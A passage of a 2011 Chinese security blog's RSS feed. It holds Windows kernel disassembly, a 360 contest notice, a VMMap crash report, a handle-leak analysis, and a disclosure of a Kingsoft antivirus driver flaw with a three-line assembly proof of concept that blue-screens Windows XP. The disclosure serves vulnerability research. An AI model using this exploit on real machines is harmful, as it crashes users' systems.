call&nbsp;&nbsp;&nbsp; ComputerCrc32Forwstring<br>INIT:00798D9D 68 E0 EE 62 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; offset aEmbeddednt ; "EmbeddedNT"<br>INIT:00798DA2 89 45 D4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+var_2C], eax<br>INIT:00798DA5 E8 9F 00 00 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; ComputerCrc32Forwstring<br>INIT:00798DAA 68 C8 EE 62 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; offset aDatacenter ; "DataCenter"<br>INIT:00798DAF 89 45 D8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+var_28], eax<br>INIT:00798DB2 E8 92 00 00 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; ComputerCrc32Forwstring<br>INIT:00798DB7 68 B4 EE 62 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; offset aPersonal ; "Personal"<br>INIT:00798DBC 89 45 DC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+var_24], eax<br>INIT:00798DBF E8 85 00 00 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; ComputerCrc32Forwstring<br>INIT:00798DC4 68 A8 EE 62 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; offset aBlade&nbsp;&nbsp; ; "Blade"<br>INIT:00798DC9 89 45 E0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+var_20], eax<br>INIT:00798DCC E8 78 00 00 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; ComputerCrc32Forwstring<br>INIT:00798DD1 68 7C EE 62 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; offset aEmbeddedRestri ; "Embedded(Restricted)"<br>INIT:00798DD6 89 45 E4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+var_1C], eax<br>INIT:00798DD9 E8 6B 00 00 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; ComputerCrc32Forwstring<br>INIT:00798DDE 68 54 EE 62 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; offset aSecurityApplia ; "Security Appliance"<br>INIT:00798DE3 89 45 E8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+var_18], eax<br>INIT:00798DE6 E8 5E 00 00 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; ComputerCrc32Forwstring<br>INIT:00798DEB 68 34 EE 62 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; offset aStorageServer ; "Storage Server"<br>INIT:00798DF0 89 45 EC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+var_14], eax<br>INIT:00798DF3 E8 51 00 00 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; ComputerCrc32Forwstring<br>INIT:00798DF8 68 14 EE 62 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; offset asc_62EE14 ; "Compute Server"<br>INIT:00798DFD 89 45 F0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+var_10], eax<br>INIT:00798E00 E8 44 00 00 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; ComputerCrc32Forwstring<br>INIT:00798E05 68 00 EE 62 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; offset asc_62EE00 ; "WH Server"<br>INIT:00798E0A 89 45 F4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+var_C], eax<br>INIT:00798E0D E8 37 00 00 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; ComputerCrc32Forwstring<br>INIT:00798E12 68 D4 ED 62 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; offset asc_62EDD4 ; "SystemSetupInProgress"<br>INIT:00798E17 89 45 F8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+var_8], eax<br>INIT:00798E1A E8 2A 00 00 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; ComputerCrc32Forwstring<br>INIT:00798E1F 89 45 FC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+var_4], eax<br>INIT:00798E22 33 C0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xor&nbsp;&nbsp;&nbsp;&nbsp; eax, eax<br>INIT:00798E24<br>INIT:00798E24&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; loc_798E24:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; CODE XREF: sub_798CBB+185j<br>INIT:00798E24 8B 4C 05 94&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; ecx, [ebp+eax+var_6C]<br>INIT:00798E28 3B 88 A8 56 7B 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cmp&nbsp;&nbsp;&nbsp;&nbsp; ecx, ds:OrgStringHash[eax]<br>INIT:00798E2E 74 0A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jz&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; short loc_798E3A<br>INIT:00798E30 C7 05 34 A7 53 00 08 00+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong><span style="COLOR: #ff0000">mov&nbsp;&nbsp;&nbsp;&nbsp; _KdDumpEnableOffset, 8</span></strong><br>INIT:00798E3A<br>INIT:00798E3A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; loc_798E3A:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; CODE XREF: sub_798CBB+173j<br>INIT:00798E3A 83 C0 04&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; add&nbsp;&nbsp;&nbsp;&nbsp; eax, 4<br>INIT:00798E3D 83 F8 6C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cmp&nbsp;&nbsp;&nbsp;&nbsp; eax, 6Ch<br>INIT:00798E40 7C E2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jl&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; short loc_798E24<br>INIT:00798E42 C9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; leave<br>INIT:00798E43 C3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; retn</p>
<p>&nbsp;</p>
<p>&nbsp;</p></span></span> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/4b81e11f4a476deee0fe0b9d.html#comment">查看评论</a>]]></description>
        <pubDate>2011-09-08  14:53</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/4b81e11f4a476deee0fe0b9d.html</guid>
</item>

<item>
        <title><![CDATA[第三届360安全软件大赛正式启动啦！]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/81b09cb170aab7410823025b.html]]></link>
        <description><![CDATA[
		
		<p><p>网游、网银帐号密码、重要文档、私密照片……电脑既可以是你无话不谈的密友，也可能成为引发灾难的潘多拉魔盒。在木马病毒打开它之前，让我们给它上一把名叫360的锁。</p><p>最近四年，360每年至少有一款新产品成为行业第一：360安全卫士、360保险箱、360杀毒、360手机卫士，长则一年、短则三个月，这些产品便迅速成为各自领域的领头羊，360安全浏览器的市场份额也仅次于微软IE浏览器。目前，360已拥有3亿多用户，覆盖了超过80%的中国网民，成为全球用户量最大、发展最快的网络安全公司，同时也是国内用户量第三大的互联网公司。</p><p>为进一步推动国内软件安全技术的发展，为广大网民创造更为绿色的网络环境，360公司决定与Debugman论坛继续联合举办第三届360安全软件大赛。与前两届不同，本届大赛将分设海选和决赛两个环节，最终进入决赛的选手都将被邀请到360公司展开最后的车轮战！届时，还有机会与360核心技术团队与高层直接对话，期待每一位电脑高手的倾情参与！<strong>伸出手，你也能盖上潘多拉魔盒！</strong></p></p><p><span><img src="http://img.qihoo.com/images/2011/360/softgame/bnr1.jpg" small="0" class="blogimg" border="0"></span><br><span><img src="http://img.qihoo.com/images/2011/360/softgame/bnr2.jpg" small="0" class="blogimg" border="0"></span><br><span><img src="http://img.qihoo.com/images/2011/360/softgame/bnr3.jpg" small="0" class="blogimg" border="0"></span><br><img src="http://img.qihoo.com/images/2011/360/softgame/t001.jpg" style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; vertical-align: top; "><img src="http://img.qihoo.com/images/2011/360/softgame/t002.jpg" style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; vertical-align: top; "><img src="http://img.qihoo.com/images/2011/360/softgame/t003.jpg" style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; vertical-align: top; "><span style="color: rgb(243, 137, 0); position: absolute; right: 10px; bottom: 5px; ">产品以实</span></p><p><table width="100%" border="0" cellspacing="0" cellpadding="0" style="border-collapse: collapse; -webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; "><tbody><tr><th></th><th></th><th></th></tr><tr><td>一等奖</td><td>1</td><td>苹果笔记本</td></tr><tr><td>二等奖</td><td>2</td><td>iPad</td></tr><tr><td>三等奖</td><td>3</td><td>iTouch</td></tr></tbody></table></p><p>第一阶段:</p><p>通过两道比赛题目, 海选出10位选手，海选题目公布时间为4月15日13:00，提交时间截止至4月25日24:00，</p><p>请所有参赛选手将题目答案发送邮件至：contest2011@360.cn，并注明姓名，地区，身份证号码和手机号码</p><p>&nbsp;</p><p>第二阶段：</p><p>1.公布海选入围名单</p>2.公布PK赛的攻防题目与详细规则说明<br>3.在北京现场PK, 两天一夜（暂定5/14~5/15）<br><p>&nbsp;</p><p>注：入围名单及决赛题目将在5月4日13:00时间公布PK 竞赛规则:海选入围名单出炉时公布细节注意事项：严禁同一人用两个或两个以上身份证ID参赛；请勿重复提交答案，如有重复发送者，均以第一次提交答案为准；</p>比赛期间欢迎大家开展讨论，但同时要注意对自己知识产权的保护，不得泄露答题的技术细节，不得交流会导致答案外泄的内容；违反以上任何一条，取消相关人员比赛资格。<p>&nbsp;</p><strong>评委专家：360技术工作人员以及Xikug</strong><p></p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/81b09cb170aab7410823025b.html#comment">查看评论</a>]]></description>
        <pubDate>2011-04-08  18:47</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/81b09cb170aab7410823025b.html</guid>
</item>

<item>
        <title><![CDATA[Sysinternals VMMap一个BUG]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/73c03fdd2aaa75ca8d10298d.html]]></link>
        <description><![CDATA[
		
		<p>运行后，在"select or launch process"那里点cancel，然后点 "view"-&gt;"Fragmentation View",vmmap崩溃</p><p>64位版本不受影响</p><p>&nbsp;</p><p></p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/73c03fdd2aaa75ca8d10298d.html#comment">查看评论</a>]]></description>
        <pubDate>2011-01-19  20:00</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/73c03fdd2aaa75ca8d10298d.html</guid>
</item>

<item>
        <title><![CDATA[金山毒霸2011 SP5.2 KisKnl.sys &#60;= 2011.1.13.89 内核拒绝服务漏洞(三行代码利用)]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/a49b1bd134581bc1562c8460.html]]></link>
        <description><![CDATA[
		
		#&nbsp;<br>#前言： 基础知识都没搞好，就学人家Hook KiFastCallEntry, 蓝死人不偿命&nbsp;<br>#&nbsp;<br># 金山毒霸2011 SP5.2 KisKnl.sys &lt;= 2011.1.13.89 三行代码内核拒绝服务漏洞&nbsp;<br>#&nbsp;<br># 日期: 2011-1-16&nbsp;<br># 作者: MJ0011&nbsp;<br># 测试平台: Windows XP SP3&nbsp;<br><br><br>细节原因：&nbsp;<br>KisKnl.sys hook了KiFastCallEntry,但是未正确处理用户堆栈，跳过了系统的MmUserProbeAddress判断直接复制堆栈。&nbsp;<br><br>利用代码：&nbsp;<br><br>__asm&nbsp;<br>{&nbsp;<br>mov edx , 0x80000000&nbsp;<br>mov eax , 0x101 ;id of NtTerminateProcess under Windows XP&nbsp;<br>int 0x2e&nbsp;<br>}<p></p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/a49b1bd134581bc1562c8460.html#comment">查看评论</a>]]></description>
        <pubDate>2011-01-16  11:54</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/a49b1bd134581bc1562c8460.html</guid>
</item>

<item>
        <title><![CDATA[Windows 2K~ Vista IoDeleteSymblicLink 低资源下句柄泄露BUG]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/0696c62aa5d18022d52af16c.html]]></link>
        <description><![CDATA[
		
		<p><font color="#000000">2K, XP ,2003 , Vista 的Windows操作系统目前为止的新版本中，IoDeleteSymbolicLink调用删除完符号链接后，会检查ObIsLUIDDeviceMapsEnabled，如果LUID DosDevices被禁用，而且开启了终端服务，将会调用IopDeleteSessionSymLinks删除\Session\*\DosDevice\下的同名符号链接。</font></p>
<p><font color="#000000">其中IopDeleteSessionSymLinks在调用ZwOpenDirectoryObject会两次调用ExAllocatePoolWithTag申请内存分别存放Directory Informaiton和最终的符号链接名称，在申请内存失败时，函数没有关闭打开的目录对象句柄，就直接返回了，造成了句柄泄露</font></p>
<p><font color="#000000">由于指定了OBJ_KERNEL_HANDLE，泄露将发生在Kernel Handle Table</font></p>
<p><font color="#000000">F5整理代码（VISTA SP1):</font></p>
<p><strong><font color="#ff0000">//打开了句柄DirectoryHandle</font></strong></p>
<p><font color="#000000">InitializeObjectAttributes( &amp;Attributes,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &amp;UnicodeString,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  OBJ_CASE_INSENSITIVE|<strong><font color="#ff0000">OBJ_KERNEL_HANDLE</font></strong>,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  NULL,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  NULL<br>
